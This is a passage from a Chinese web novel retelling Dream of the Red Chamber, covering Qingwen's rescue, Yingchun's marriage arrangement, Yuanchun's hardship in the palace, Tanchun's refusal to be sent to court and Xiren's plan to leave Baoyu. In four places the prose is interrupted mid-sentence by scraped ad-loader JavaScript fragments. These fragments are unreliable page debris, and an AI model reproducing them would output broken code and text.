“白姐姐,你医术高明,帮了京中不知多少妇人,又心怀大慈悲,准备传授医术,好救护更多人。我心里既佩服你有此能为,又羡慕你得宫中娘娘看重,能以一己之力支撑门户,庇护安哥儿康姐儿乃至黛玉。我自知没那个天分也学一身本事,可幸家中还有些积蓄,若是姐姐不嫌弃,我家愿拿出家资,追随姐姐广 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开女医院,积一份功德,也为家里留条后路。” 白露听明白了,宝钗这意思,就是准备注资同她合作。 她提供技术支持,顺便还有已经建立的客户口碑,背后又代表了皇后母仪天下的具体政绩,上上下下脑子没抽的都得给点面子。 现在薛家想出钱跟她一起扩大经营规模,挣不挣大钱不好说,但生意确实长久能做。 这么看来真是很不错的投资项目。 “只是如今弟子们还没学成,真正能干事的也就我一个人。”白露也愿意把医院做大做强,可她又不是黑心老板,才不会随随便便骗小姑娘钱。 “姐姐的顾忌我明白。”宝钗显然也是做足了准备来的,“学医不是一日之功,更别提要真正学成姐姐这样。可治不了大病,人也还有那么多小病。 便如女眷上了年纪,身子不爽想找人捶捶按按,可家中女使偏偏不知轻重不知要领;还有人有孕生子需人照料,可其实求来的什么偏方都是胡说八道。这时候若是有医女懂得穴位,知道揉捏轻重,或是本有经验的稳婆能再学些得用的照顾人的本领,岂不能令有此需要的人家趋之若鹜?” 白鹿明白了,宝钗这是想先从能简单的保健养生入手,再慢慢培养专业医女,进军医疗市场。 “许是可行。”白露觉得可以一试,尤其是妇女孕期与产后照顾方面,“不过先容我近来先谈谈各家太太们的口风,看看她们究竟吃不吃这套。” 能一来就说得白露心动,已经让宝钗喜出望外,她心下一松,这才慢慢有些心思同白露说说其他事。 “这几日那府里上下都怪怪的。凤姐姐这一病,不说老太太、太太们不爱说话了,便是园子里,不知怎么的,恍惚也比平日里更安静些。” 宝钗说得委婉,但白露悄悄跟凤姐互通有无呢,哪里能不知道贾府里各人都安的什么心思。 贾母和王夫人为了宝玉身边眼线的事暗暗较劲呢。 王夫人赶走了晴雯几个,贾母就按着袭人怎么也不给她过明路。虽说贾母一时打发不了袭人,可断了她的美梦却还是轻而易举。 背主的丫头还想当姨娘,呸,通房丫头一辈子慢慢熬去吧。再抬举下面年纪小的,也不会再让袭人往上爬半步!如今宝玉稀罕又怎样,贾母打定主意,只要自己还活着,就绝不会松口让那袭人出头;至于自己哪天走了,那时袭人年老色衰,宝玉眼里哪还会有她! 这般既是出口被丫头背叛的恶气,也是让其他人都好好瞧瞧,有这么个活生生的例子在眼前,以后想改换门庭的,也都掂量掂量清楚! 有贾母的意思在,如今怡红院里丫头们可是越发浮躁起来了。 宝钗越想越觉得庆幸,幸好自家没一条道走到黑。否则日日替宝玉打理后院姨娘通房小丫头们争风吃醋,这日子还不如不过。 “哦,对了,倒是晴雯。”宝钗临走时又想起来,“之前听谁说她如今日子难过。我想着,她的手倒是巧,姐姐不妨找个机会同凤姐姐说一声把人带出来。康姐儿年纪大了,穿着鲜亮精致衣裳岂不是好?” 白露难免惊奇,原本宝钗同袭人最投契,可如今心态一变,她倒是惦记着晴雯情况可怜了。 27.晴雯终出大观园 经宝钗这么一提醒,白露才想起来晴雯这事。原著里她拖着病身被赶出了大观园,宝玉有心探望,可也救不了她的命。两人一番惜别,最后晴雯叫了一夜的娘凄凉死去,宝玉失魂落魄,在大观园里挥毫《芙蓉女儿诔》…… 看不懂,白露实在是看不懂宝玉的炫技之作。但是撇开宝玉的迷惑行为不提,就算她如今跟晴雯没什么交情,但好歹是一条命,若是能帮一帮,伸把手又费什么事呢。 宝钗到底不是贾家的正经主子,提一提便是尽了心。白露想捞人,最后还是只能去问凤姐。 凤姐最近忙着装病躲懒,忙着悄悄摸查迎春潜在夫婿的底细,听到秋桂来传话,左右一个丫头,也不怎么在意,只道:“要个丫头,难道还是什么大事不成?要是人还在宝玉身边,倒值得我费心说两句,如今人都出来了,你家太太爱要,直接把人领了去就是。倒是我这里还有要紧事呢,我瞧好了一个人,你回去便告诉你家太太,就说我烦她做个东,把我看好的那家的太太约出来,咱们当面说说话。” 秋桂谢了凤姐,跟着平儿就去贾家后边下人们住的地方找人。 “还得是你们府里!”秋桂往贾家也跑了不止一次,可平时去的要么是主子们的院子,要么就是大观园,哪里来这种地方串过门。此时见贾府即使是下人的家也规划得整整齐齐,小院收拾得干干净净,虽不大,但排成一片却格外有气势。 平儿便笑,“这片几个院子都是主子们身边得脸的人家,刚才咱们过的便是周瑞周姐姐家。其实她家也只能算中上,你是没见过老太太身边的赖妈妈,她家如今连花园子也修好了,更别提家里的小爷是授了官,戴帽子的人了。” 啧啧啧!秋桂表面越发惊奇,心里却恍然大悟,难怪这二奶奶说家里一日不如一日了。靠着主家的下人一个个都发了财,这财是哪发的,八成就是靠着倒腾家里的东西呢。 两人一路说一路走,走到越来越偏的地方。一座小院进去往再往后走,走到最后面角落里的一间不朝阳的屋子,带路的女人把门一推,“姑娘,二奶奶身边的平姑娘瞧你来了。”说完便身一闪,开始靠在门口剔牙。 那屋里格外破败,看得平儿和秋桂都难免心惊。 “你这是怎么了?!”更心惊的是原本多神气的一个人,这才几天功夫,怎就憔悴成这个样子?平儿赶忙上前拉住晴雯的手,“是着凉了?可请了大夫?也是巧了,林家太太想要你去她家里,你正好求她给你瞧瞧。” “什么着凉了。”门口晴雯的嫂子多姑娘懒洋洋道,“这准姨娘当惯了,养了一身精贵毛病。如今出来了才晓得自己就是个奴才秧子,这心里的气不顺,可不是要把人憋坏了。” 晴雯想说什么,可嘴一张就是咳嗽,咳得天崩地裂,像是要把心肝一并吐出来似的。 平儿赶紧去倒水,秋桂便在一旁道,“不像是小病,倒是拖不得了。今儿我们太太刚好在家,你东西在哪、要有收拾的就告诉我,我们抓紧时间回去,让奶奶给你瞧瞧。” “我,咳咳咳,我不走。”晴雯接了水一口喝了,这才有心力挣扎着支起身来说话,“宝玉说了叫我等他,我便等着。他一日不来我便等一日,左右说好了要在一处,便是他食言打了嘴,我不会背诺。你走吧,回去告诉你家主子,就说多谢她瞧得起我。” “你这是何苦!”秋桂想不通,“那宝二爷还能少了人伺候不成?你前脚出来,后脚就有人顶你的位置,你想回去,便是宝二爷允了,可你家太太允不允,那宝二爷身边的人允不允?” 道理自然是这么个道理,可都说袭人伺候谁心里便只有谁,难道晴雯不是一心里只有宝玉。 听秋桂这么一说,换做以往,晴雯必要逞口舌之快辩上一辩,可眼下她只觉得精力不济,便不再开口,只裹了薄被背身睡去。 多姑娘又在门口说:“咱家姑奶奶心气高。那袭人当得宝二爷姨娘,咱家姑奶奶比她漂亮伶俐十倍,难道就当不得姨娘了?有那好前程,谁舍得离了这金窝窝去给别人家当牛做马。” 话说的难听,晴雯之前也骂过。可骂了没用,人人都是这么想的。如今她也不骂了,左右她就是等着宝玉,其他人爱说便说去! 秋桂说不动人,平儿便拉着她出门,“晴雯痴心一片,可见这解铃还须系铃人。你等我想个法子,叫宝玉亲自来劝她,她才肯跟你走。” 秋桂想想是这么个道理,可问题是:“我看你家那宝二爷是恨不得天底下姑娘都围着他一个人转,不跳着脚把人要回去,怎么还会主动把人往外推呢?” 平儿便叹气,“你说的是。如此,再换个人来劝吧。” 换谁,换麝月。 麝月同晴雯倒还有些情谊,见她如今这可怜样子,便劝,“你看看你如今,便是宝玉来了,太太也不会松口再叫你回去。倒不如去林家求她家太太给你治好了病,时机到了,再回来不迟。” 晴雯闷头想了一阵,到底问了句:“宝玉如何?” “好着呢。”麝月道,“便是少了人,剩下的还敢伺候不好他不成?” 一个个都干劲十足挣表现呢。 晴雯这才落了滴泪,“果真是用不着我了,既如此,我便走吧。” 走到白露家,白露扎了针开了药,便叫人好好养着去。 晴雯的性子实在厉害,一张嘴更是可怕,不合心意就直接刺回去。喜欢的人觉得这是性情直爽,可被刺的人就扎心了。不过这都不是最重要的,最重要的是,她整个人就是有那么一股天不怕地不怕的生命力,所以把她关在家里伺候人是真的拘束了她。 白露想了想,干脆拍板,“都说晴雯手巧,关在家里岂不是耽误了人。不如去钟楼大街上周太太那家裁缝铺子里当绣娘去,凭她的厉害,岂不是过上一年半载就要成店里的骨干了。” 晴雯听了又默默落了一会子眼泪,然后才郑重谢了白露。 小半个月后晴雯养好身子,白露亲自送她去钟楼大街上的周记绣楼。 周太太也是白露之前的患者,见白露登门自然热情招待。等明白了白露的意思,再见识了晴雯小露一手,周太太脸上的笑就更灿烂更真心了。 “也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不瞒妹子,本想着我这里地方虽小,可万万不能拂了你的面子,一个绣娘而已,多养一个人也养得起。可知道了晴雯姑娘的手艺,哎哟!我才是要真谢谢妹子,这种好事都能想到我,可见咱们的情分是真的!” 京城里最不缺的就是达官贵人,达官贵人最不缺的就是银子。 平常便宜货都入不了人家的眼,而今有了这么个巧手姑娘,她以后估计都没时间做梦,要天天睁着眼数银子了! 当下周太太就跟晴雯谈好了工钱,一月五两银子,要是得了贵人们的赏,那铺子拿六成,其余都归晴雯。 比贾家给的高,可毕竟是辛苦钱,白露听着觉得还是有些低了。 “不过不要紧。”回去的路上她就跟晴雯商量,“你才出来,外面人生地不熟的,想找活也找不到。干脆在周记积累些人脉,以后京城里各家太太小姐都认识了你的手艺,你大可以自己接活自己干,有钱了另开个绣楼,自己当老板也行!” 晴雯终于笑了,“真有那天,就开在太太的医馆隔壁。等那些太太小姐看了病心情好,出门就在我店里花些钱欢喜欢喜。” 这边晴雯的事情暂时告一段落,那边凤姐又急着催白露抓紧安排她跟给迎春看好的人家见面。 白露觉得还是该问一句:“嫁女儿可不是小事你给你府里人可通过气了?” 凤姐大大方方道:“还没顾得上呢。老太太和太太们打的什么主意你又不是不知道,等着在勋贵人家的子弟里找呢。可我瞧着如今来往人家里也没几个好的,想像史家给找个卫若兰那样的可比登天还难,余下的比琏二还不如,找来害了迎春也是造孽。” “那我这就安排了,万一你们说好,人家上门提亲,你家老太太不会着人直接把人打出去吧?” “哈哈哈哈哈哈哈。”凤姐觉得白露说话就是有趣,“怕什么,有我在,能有什么是说不成的。” 看凤姐如此自信,白露便干脆如了她的意。 该说不说,凤姐确实有两把刷子。 转天城外开书院的赵家太太上门,进来先谢白露做媒,然后就开始夸凤姐。 “这样关心小姑子,可见心地好。为人大方又能干,虽年轻,可极懂事理,人又谦虚,半点不拿大……” 听得白露不住店头,“嗯嗯,我是知道的,那府里二奶奶自来就是这么个人。” 话都说到这个份上,看来双方就是都有意思了。 开书院的人家自然是适合迎春的,可之前不是还有家翰林吗?功名在望,论理,贾家该更喜欢才是。 听白露这样问了,凤姐一脸疲惫地按了按头,“这我自然知道。可咱们喜欢人家,人家就看得上咱们不成?越是奔着功名去的,便越是知道咱们家如今的情况。” 贾家如今又是什么情况? 男人没几个靠得住的!全指望宫里娘娘的肚子了! 这让元春如何不苦,可再苦,药也得继续喝,宠也得继续争。 “实在不行……”进宫看女儿王夫人想了想,“找个机会,叫你三妹妹进来帮你一把?” 28.元春有泪不得说 宫里人不少。 有上了年纪的,虽恩宠不再,可与陛下是少年相伴的情分。要是再有个一儿半女,便是陛下偶尔忘了,皇后也不敢真的丢开眼去,下面伺候的人就只有更精心的。 有年华正好的,出身许是不够,资历浅,位分也低,可强就强在年轻漂亮,陛下爱看,喜欢看。能把陛下伺候好了,皇后也给两分薄面,底下人更是小心捧着,生怕怠慢了陛下的新宠。 至于她这样,入宫多年,虽封了贵妃,可多半是看在家里祖父,以及宫里还立着的当初照顾过陛下的老太妃的面子上。 如今祖父是早已经去了,家里男人也没几个能在朝堂上说几句话。侍奉了多年的老太妃倒是照顾,可终究年纪大了,再照顾,又能照顾多久?更何况如今她是陛下的后妃,该归皇后娘娘管束,拿有老太妃三天两头插手陛下后宫的? 眼看根基不稳,更糟糕的是年纪也老大不小,比不得年轻娇嫩的得圣心。这没有圣宠,就没有孩子,没有孩子,就难说以后。 左看右看,不过只能熬日子。 然而祖母亲妈月月进宫来,话里话外都盼着什么时候有个皇子皇女,好光耀门楣,保全家里富贵。 这,这岂是她一个人努力就能有结果的? 想到宫中周贵人父亲最近得用,连带着周贵人也得脸,再一想想自家情形,元春心中不经越发苦涩。 “皇子皇女,皆是天意……” 可这话连自己都糊弄不了,又如何糊弄得了在后宅里摸爬滚打了多年的王夫人。 自家院子里还摆着两个姨娘呢,王夫人如何不知道女儿在宫里的艰难? 只靠女儿一个人在这宫里单打独斗,确实是难以支撑。王夫人想了又想,不得不承认老太太的眼光还是对的。 “当初送娘娘进宫,便是盼着娘娘能出人头地。如今苦熬了这么多年,总算有了如今的地位。只是娘娘势单力薄,倒不如接了你三妹妹进来,姐妹两个同心协力,彼此也有个依靠。” “三丫头?”元春一惊,下意识便有些抗拒,“宫里虽富贵,可又何必……” “娘娘!”王夫人加重了语气,“这也不单单是为了娘娘,更是为了咱们全家。” 圣宠是眼前的好处,皇子是日后的好处。 好容易送个姑娘进来,要是一样都捞不着,岂不是白费了全家那么大的功夫?别的不说,光是为了修园子,便把家里多少年的老底子都填进去了。 如今既走上了这条路,不得出个结果来,如何能叫人甘心! 元春自然也明白这些道理,只能道:“宫禁森严,想从外面带人进来伺候也不是说句话就行了的。此事也着急不得,太太请容我谋划两天。” 应付了王夫人,元春整个人忽然就垮了下去。 “娘娘?!”一旁的抱琴吓了一大跳,“这是怎么了?” 宫女太监们慌慌张张就要来扶,一时又嚷嚷着要去请太医。 元春只说自己起身太猛一时眼花,等叫其他人都出去了,才把头埋在抱琴肩上,咬着牙流下一行清泪。 小小年纪离家入宫,伺候了公主又去伺候太妃。这些年她是步步小心谨慎,只想着什么时候能够成为皇帝的妃嫔,便算熬出了头。 谁知等到如今有了贵妃的遵位,家里也不过是欢喜了那么一两日。 元春神思恍惚,“便是送了三妹妹来又如何,这里难道就……” 话没说完,抱琴已知机地捂住了元春的嘴,“娘娘,娘娘累了,去歇歇吧?” “是啊,”元春喃喃自语,“是有些累了。” …… “谁不累呢。”王夫人扶着周瑞家的胳膊回到屋里,一坐下就开始叹气,“娘娘如今艰难,可再不抓紧时间,日后越发见不着陛下的面,这三丫头便是送进去了又能有什么出头的机会!” 周瑞家的欲言又止。 只听王夫人又道:“三丫头虽不是我生的,可从小也是在我眼皮子底下长的,我待她的心自然如待娘娘和宝玉一般。如今长大了,我自然要为她找个好去处,进宫是多大的荣耀,怎么看也比大房随随便便就让二丫头嫁个开书院的人家强。” 周瑞家的自然清楚王夫人发的什么主意,不管是大姑娘还是三姑娘,都是老爷的亲姑娘。以后有了大出息,这好处自然是要落在老爷头上,落在老爷的亲儿子宝玉头上。 想想也是这个道理! 周瑞家的恍然大悟,难怪二奶奶旁敲侧击地要给二姑娘说亲,大太太百般不乐意,嫌弃书院人家配不上国公府门第,可太太倒是明里暗里支持呢! 这要是不先打发二姑娘出门,让大老爷和大太太闻着味过来了,非要闹着把二姑娘送进去,这以后有了好处,岂不是就要便宜大房了? 更别提琏二爷和二奶奶本就是一对厉害的,以后岂不是要把宝玉欺负得骨头渣子都不剩! 周瑞家的深佩服王夫人的眼界,心里暗道,二奶奶看着厉害,遇到大事,果然还是嫩了些。 可凤姐得意着呢! 她如今也不去兜揽家里事,在屋子里装病简直快活得不行。谁跟她好她才跟谁说话,没得见那些讨人嫌的嘴脸。 今天凤姐就叫了司棋来说话。 “瞧瞧瞧瞧,当时在园子里便瞧着你是个厉害的丫头,如今嫁了人,这是越发有气势了。” 司棋脸一红,“奶奶就会说笑呢。” “今儿找你来可不是跟你说笑的。”凤姐正色道,“你们姑娘是个什么性子你也知道,这些年里多亏了你是个泼辣的,能替她镇得住,不叫人随随便便欺负了她去。” 司棋听了,眼圈就是一红,“其实我从前也不懂事,多有混账的时候,要不是姑娘脾气好让着我,换了别人家,我要被拖出去打死八百回了。便是这回,也是她豁出面子在太太那保了我。” 要是她犯的事真传出去了,她也别做人了,一口气撞死干净! 凤姐见司棋心里还念着迎春,便笑,“你是个好的,你们姑娘有你长久陪着才是她的福气。消息过两天大家便也知道了,如今我先问你一句,等你们姑娘出了门,你愿不愿意跟着她一道走?去给他当个管事娘子,帮她照看照看里外。” “姑娘还愿意让我跟着?!”司棋一喜,“要是姑娘不嫌弃,我自是愿意长久陪在她身边的!” “那便说好了!” 凤姐当下就去安排司棋跟着迎春出门 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的事,又让司棋来都来了,干脆进园子里跟迎春说说话。 司棋喜滋滋应了,一路蹦蹦跳跳,还绕远道折了红梅要去送迎春。 回来路过潇湘馆,在门口就听见里头有女孩子清清朗朗的念书声。司棋听了两句,忽然又羞愧自己当初怎么就没跟着好好学学。 正想得入神,前面不知怎的突然爆发出好大一声瓷器落地的声音。 “砰!”的一声,秋爽斋里,探春抓着手边的茶杯便是狠狠往地上一砸。 “这话是太太亲口告诉你,叫你来跟我说的?” 茶杯就碎在周瑞家的脚边,飞起来的渣子打得她耳朵痛,这边还没回过神呢,抬头又对上探春一双冒火的眼睛。 周瑞家的被吓得一愣,“是,是太太的意思……” “哼!”探春转眼收敛神色,起身从容理了理衣襟,这才慢条斯理道,“你这奴才,年纪大了爱犯糊涂,便是一时胡言乱语,瞧在太太的面上,我也不说多你什么。只是咱们家到底是要脸的人家,能由得你随便揣摩了主子的意思,转头嚷嚷出去败坏府里的名声?” 周瑞家的完全没反应过来,“啊?三姑娘,我方才的话确确实实是太太的意思,这样大的事情,我,我岂敢随便乱说呀?” 探春才不跟周瑞家的理论,回头看着自己的丫头,“去,把我的大衣裳拿来。正好今儿老爷在家,咱们这就去跟老爷把话说清楚!” “哎哟!”周瑞家的这才吓了一跳,“这这这,这事老爷也是知道的,如何还用特地到老爷跟前去说?” 探春抬脚就走,周瑞家的紧跟着想拦。 外面逛过来的司棋瞧见了,脸上笑一堆,裹着风就往周瑞家的面前撞,一开口简直比蜜还甜,“周姐姐,咱们也有些时日没见了。你近来可好啊?这是有闲了来园子里逛?走走走,咱们一道去二姑娘那里吃茶去!” 周瑞家的哪有闲心搭理什么司棋,可眼前人又拦路,一把子红梅又挡眼。 等她应付了司棋,前面探春早就不见人影了! “我的三姑娘啊!”周瑞家的张嘴就号,却不妨灌了一肚子西北风,顿时咳得上气不接下气。 那边探春则是脚步飞快,直接走进了贾母院子里。 一旁的赵姨娘躲在柱子边使眼色,暗示老爷已经到了。 探春心中有数,进了屋见人都在,直接朗声道:“早年大姐姐因才德封妃,阖家上下无不荣耀。如今听闻家中有意让我也入宫,我自知才疏学浅,德行平庸,却不知何以侍奉宫闱?难不成只为了我年轻些?若真如此,咱们家靠老祖宗战场上拼杀出来的荣耀,竟从今往后要靠女人献媚才延续了不成?” 全家都被探春这直白的话惊得不知作何反应。 倒是宝玉起身道:“三妹妹快入座。大姐姐身在宫闱不得团圆,已是家中痛心事,又如何舍得再送了你去。若是为荣华富贵,如今富贵已极,岂敢再有奢求。” “二哥哥好意。”探春只是冷笑,“只是如今富贵,日后还想长久富贵。二哥哥若真不在意这荣华富贵,倒不如亲自同老太太、太太分说明白,也免得操心一场反不被领情。” 宝玉听出探春言外之意,顿时脸色一红。 29.探春大义辞富贵 全家上下都知道三姑娘是个有脾气的。待人接物落落大方,敢想敢说谁也不怕得罪。 从前家里人都爱她这性子,都觉得小姑娘嘛,活泼些才讨人喜欢,那唯唯诺诺说话跟蚊子一样哼哼的又有什么趣。 可如今被这么不客气,这么不委婉地问上一句“家里是不是真就不顾祖宗的脸面,以后打算靠献女儿过了”,大家就觉得,三姑娘这脾气还是惯得太厉害了。 贾母对孙女们一向是笑呵呵的,此时此刻见她出口就顶了最疼爱的宝玉也不恼,只说:“好端端的,怎么忽然跑过来说这些话?探丫头,是谁给了你委屈受不成?正好如今你老爷也在这,说出来咱们给你做主。” 这是打着大事化小小事化了,大家一起和稀泥的主意,可探春今天是铁了心要把事情说清楚:“家里生我养我,我才有如今。若真是为了家族前程,便是真有委屈,孙女也不会不懂事。就怕一时错了主意,被眼前光鲜迷了眼睛,从此误入歧途,乃至万劫不复。 我才疏学浅,不比家里兄弟们从小熟读圣贤书,学了一肚子大道理。可也知道那杨妃一时盛宠,连带着家中兄弟姊妹都鸡犬升天,可转眼繁华落尽,一家子又都下了地府!可见这偏门左道偷来的富贵终究难以长久,再厉害些,更是要带得全家遗臭万年。” 贾政的脸色就很不好看,“一派胡言!读了几本书,识了几个字,就敢在这里大放厥词,评古论今起来了!今念你年幼,我也不罚你,还不快快退下,以后烧了闲书,多把那女论语细看两遍是正经!” 探春听了却不为所动。 倒是一旁的贾赦摸着胡子开怀大笑,“好!这才是咱们家的姑娘!好孩子,你有这般眼界见识,可见书没白读,也不枉老太太疼你一场。 咱们家靠武功起家,虽说如今天下太平,四海安宁,子弟们不必再上战场拼杀,所以于经济仕途上是略差那正经读书人世家一筹,可咱们又不是那起不要脸的,如何想得出把家里姑娘一个个全往宫里送的主意? 依我看,大概是奴才们捕风捉影,以讹传讹,不知怎么便把好好的话传错了意思,这才叫你误会了。 我阵日在家里,从没听说过什么要把你也往宫里送的话。家里最近正打算给你二姐姐相看亲事,保不齐就是哪个奴才听错了话音,把你二姐姐当成了你,许是又听人正好提起你大姐姐,两厢一凑合,才凑出这么个根本没影子的谣言来。” 贾赦说着,又故意拿余光去瞟贾政,“三丫头,你到底年轻,也是急躁了些。岂不想想你父亲为官多年,一向兢兢业业,从不弄那些歪门邪道。娘娘那般荣耀,你父亲也没说像杨国忠那般求个宰相当当,如今又怎么可能为了荣华富贵再让你去做那以色侍人的事情?是不是啊,二弟?” 贾政平日里最看重的便是颜面。 贾家的颜面,他的颜面。 被亲大哥这么明里暗里一挤兑,贾政一张脸是憋得通红。被架到这个份上,贾政也只能说:“什么送女邀宠的话,自然是一派胡言!早先家里对下人一向宽容,如今才知道一味放纵只会纵得人不成样子。唉!” 说着又去赶探春,“去!去!方才让你退下,便是以为你还能分辨是非,没想到也是个糊涂的,非要大老爷把话与你挑明。如今可听懂了?既听懂了便回园子里去,往后做事切忌戒骄戒躁,不要听风就是雨,闹得贻笑大方。” “是女儿愚钝了。”探春目的达成,也不在这里拉扯,笑着同一圈长辈打了招呼,这才念叨着告罪退下。 门外角落里缩着的赵姨娘听了全场,见女儿全身而退,这才拍了拍胸口,悄没声的顺着墙根儿溜走了。 探春在回园子的路上故意放慢了脚步,不一时果然等到了赵姨娘。 “我的好姑娘,好厉害的一张嘴!”赵姨娘是又激动又后怕,不住地念阿弥陀佛。 等回了秋爽斋,关起门来,赵姨娘才迫不及待地嘀咕:“太太当真好狠的心!亏你打小也是在她跟前长大的,敬着她顺着她,如今一看,你这多少年的媚眼儿才真是白抛给瞎子了!” 探春冷着一张脸,却也没叫赵姨娘别说话。 赵姨娘便越发来了劲,“你瞧瞧,太太嘴上说得好听,可心里究竟只有娘娘和宝玉。幸好你也还不是个傻的,没轻易信了什么送你去宫里享荣华富贵的话。娘娘那么厉害的人都在宫里摆布不开,你要是真去了,也不过是继续被人搓圆捏扁罢了。便是真有什么好处,定是也落到宝玉头上,太太还能让你亲兄弟得了便宜不成?好在我早有准备,盯着风吹草动就来支会你了……” 赵姨娘沾沾得意,被打了个措手不及的王夫人便憋了一肚子气。 老爷在身边,她便是想啪的一巴掌拍在炕桌上也只能是想想,“这个三丫头……” “三丫头如何?!”贾政冷声道,“三丫头说得才是道理!我贾家从前是真刀真枪拼出来的功勋,如今是督促族中子弟认真读书,以求正经科举出身。 娘娘以才德封妃倒也不失为一桩美谈,若是再巴巴送姑娘进去,以后我贾家还有何颜面在朝堂立足,有何颜面再见亲友,有何颜面回告祖宗!” “可……”王夫人想说娘娘的难处,想说宝玉的大事,更想说说这难道不是他们早就商量好的?如今反悔,只拿着她撒气又是几个意思?! 可什么都还没说出口,贾政便起身说:“此事不必再提。依我看,二丫头的亲事就很不错,三丫头日后也找个如这般的清贵人家便好。”说完便甩袖走了。 门口珠帘晃荡,门里王夫人气得牙都要咬碎了。 清贵清贵! 三丫头清贵去了! 那娘娘怎么办!宝玉怎么办! 说什么督促族中子弟好好读书科举,那族学宝玉也去读了几年,半点长进不见,倒是越发跟着不正经的人胡闹了! 老爷一天天也只知道骂得凶,却不见好生指点一二。 如此下去,宝玉何年何月才能科举出头啊! “科举科举!你要是眼里心里只知道科举,何不趁早离了这地方,换个爱科举的人伺候去!” 怡红院里,宝玉不耐烦地挥开袭人。茶也不让帮忙倒,衣裳也不让帮忙换,尴尬得袭人只能苦笑。 看着其余人伺候 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了宝玉更衣坐下,袭人才隔着几步的距离道:“我何尝不知道这话你不爱听。可你不为自己,难道也不为老太太、太太,还有园里的姊妹们想想? 这当娘的指着儿子出息,老来才有靠;这当女儿的也指着兄弟能干,日后才不会被婆家轻视了去。今儿三姑娘一通话说得直白,你听了不好意思,可反过来想想,要是你如今已有了功名,又如何会有那些话传到三姑娘耳朵里?” 宝玉抓着书,半天没翻一页。 说到底,还是太太为了他日后能富贵一世,才着急着把三妹妹也送进去的。 “可恨!可恨!” 宝玉一时又羞又愧,砸了书便头也不回地疯跑了出去。 “宝玉!”一群丫头们急地不知如何是好,只能紧跟着追出去。 倒是有人落后一步,故意停在袭人面前冷笑,“好个贤惠人,真学起劝谏那一套来了。知道宝玉不爱听还偏要说这些混账话,太太倒是念你的情,可要是气坏了宝玉,我看你怎么吃不了兜着走!” 袭人也不去分辩,等人都走了,她才慢慢挪动着身子坐到门槛上。 从前怡红院里人多,大家叽叽喳喳,一天到晚都热闹得很。 如今怡红院里人少了,可大家越发有心上进,于是倒比从前还要闹腾。 倒是难得有这么安静的时候。 袭人撑着脸,仰头望着天。 她这般尽心竭力,盼着宝玉上进,原也只想求个安稳而已。 小时候衣食无着,朝不保夕的日子已经过去很远了,可她永远记得那时候挨饿的感觉,还有被家里人卖出来时的害怕。 她再也不想过那样的日子了。 可她只是个丫头,除了伺候好主子,求主子抬举,别的什么也做不了。 从前她只把贾家,把宝玉当成一辈子的依靠。然而如今老太太厌弃她,太太吊着她,就连宝玉,从前那样好,好到约好了一辈子在一处,如今也嫌弃她了…… 袭人忽然就落下好大两颗泪。 可哭有什么用?她擦了眼泪,回屋包了一个包袱,又拿了半吊钱,找到园子后门看门的婆子,“这是给史大姑娘做的针线,你替我送去,这钱拿去吃酒。” 园子里姑娘们跟史家姑娘互相送东西来去也是常有的事,婆子收了钱便去办事。 过了半下午,湘云便先差了翠缕来。 “姑娘被太太们拘在家里绣嫁妆呢,实在没空出门玩。”翠缕边笑呵呵地给袭人看湘云最近新做的帕子,边道,“也多谢你,可帮了大忙呢!好姐姐,你最近要是有空,就再发发慈悲,再帮我们做点吧!” 袭人勉强一笑,“这是姑娘瞧得上我的手艺。其实要是姑娘觉得用得上,何不回了老太太,干脆叫我跟了姑娘一起去,以后这些活计我都包了。” “啊?”翠缕睁大了眼睛,“你,你这话什么意思?!你跟宝玉吵架了?宝玉又怎么了?你不管宝玉了?” 袭人这才哭出声来,“我又何尝想如此。可宝玉,宝玉大抵是真的用不上我了。” 既没有她的容身之地,那及时抽身又何妨呢? 30.湘云仗义助袭人 不找别人,先找湘云,袭人这是有过深思熟虑的。 首先便是太太那里,太太还指望着留她做宝玉这里的耳目,时时劝谏,小心盯着别的丫头别闹出狐媚子的事来,顺便跟老太太想抬举的人打擂台。 这个节骨眼上,若是他家里人来赎,太太怎么也要百般推脱,想顺利脱身可没那么容易。 其次就是老太太那里,老太太如今不待见她,弹压着她不给个正经名分。若是这样没名没份的待在宝玉身边,一年二年的耗下去,耗的也不过是他们之间的情分。 等到那天情分耗尽了,她的下场恐怕连晴雯也不如。 袭人越想越心寒,眼泪止不住地流。可再伤心再难过,也该好好为自己谋划一二。 太太那里指望不上,老太太那里已经是暗地里撕破了脸,宝玉越发与她离心,家里人是半点出不上力。 思来想去,竟然只有湘云那儿还有从小相伴的情谊。况且湘云在老太太这里也有面子,若是她开口说把自己要了去,老太太想来也不会驳了娘家侄孙女的意思。有老太太这里开口,太太便是想拦,也得顾及着老太太的身份和亲戚家姑娘的颜面。 这边翠缕听了袭人半遮半掩的心事,不禁也生出兔死狐悲之感,“你这些年为宝玉操了多少心,如今却,唉!你放心,我这就回去回了姑娘,是好是歹总之尽力,必不让你久等。” “多谢,多谢!”袭人殷勤送走翠缕,回来时想了想,又绕到宝玉的屋子里。 “都这个时候了,怎么还不见二爷回来?”转了一圈没看到宝玉,袭人便问先前追着宝玉出去的小丫头们。 “二爷想去哪儿便去哪儿,除了老太太和老爷太太,犯得着跟别人时时通报吗!”小丫头扭身就跑。 “诶……”袭人想拦却拦不住人,不由得面露苦笑。 终究是麝月为人厚道,过来告诉袭人:“今儿林姑娘休息,二爷在跟林姑娘说话呢。” 袭人点点头,“如今是秋纹跟着?” “是,她心也细,二爷也夸她,所以把别人都打发回来了,只留了她在潇湘馆里。” 袭人便不说话了,自己回屋子里去继续做没做完的针线。 潇湘馆里,宝玉依然心烦意乱。 黛玉看他茶也不喝,斗篷也不脱,进来了就在屋子里转来转去,不免觉得好笑。 “这又是怎么了?是还在想三妹妹的事?” 一来就被黛玉说中心事,宝玉圈也不转了,干脆坐到黛玉身边,“好妹妹,我从前也不曾想过这些事,如今被三妹妹点破,心中着实愧疚,幸而只是误会一场。” 黛玉忽然不笑了,只问道:“如今府里还好,用不着三妹妹去搏个前程。可要是等到日后万一不好了,不是三妹妹,也还有凤姐姐家的大姐儿,还有族里那么多小一辈的姑娘,到那时再有人旧事重提,你待如何?” 